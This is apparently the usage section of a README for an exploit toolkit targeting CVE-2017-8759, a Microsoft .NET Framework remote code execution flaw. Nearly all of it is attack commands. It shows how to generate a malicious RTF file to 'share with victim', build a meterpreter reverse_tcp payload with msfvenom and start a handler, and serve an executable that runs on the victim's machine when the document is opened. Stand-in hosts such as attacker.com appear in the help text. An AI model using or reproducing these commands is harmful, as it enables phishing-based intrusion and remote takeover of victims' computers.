Video Tutorial:

 

Example commands

1) Generate malicious RTF file
   # python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.txt
2) (Optional, if using MSF Payload) : Generate metasploit payload and start handler
   # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
   # msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) Start toolkit in exploit mode to deliver local payload
   # python cve-2017-8759_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe

Command line arguments:

# python cve-2017-8759_toolkit.py -h

This is a handy toolkit to exploit CVE-2017-8759 (Microsoft .NET Framework RCE)

Modes:

-M gen                                          Generate Malicious file only

     Generate malicious RTF/PPSX file:

      -w <Filename.rtf>                   Name of malicious RTF file (Share this file with victim).

      -u <http://attacker.com/test.txt>   Path of remote txt file. Normally, this should be a domain or IP where this                                          tool is running.
                                          For example, http://attackerip.com/test.txt (This URL will be included in 	                                              malicious RTF file and will be requested once victim will open malicious RTF file.

				      
-M exp                                          Start exploitation mode

     Exploitation:
  
      -p <TCP port:Default 80>            Local port number.

      -e <http://attacker.com/shell.exe>  The path of an executable file / meterpreter shell / payload  which needs to be executed on target.

      -l </tmp/shell.exe>                 Specify local path of an executable file / meterpreter shell / payload.
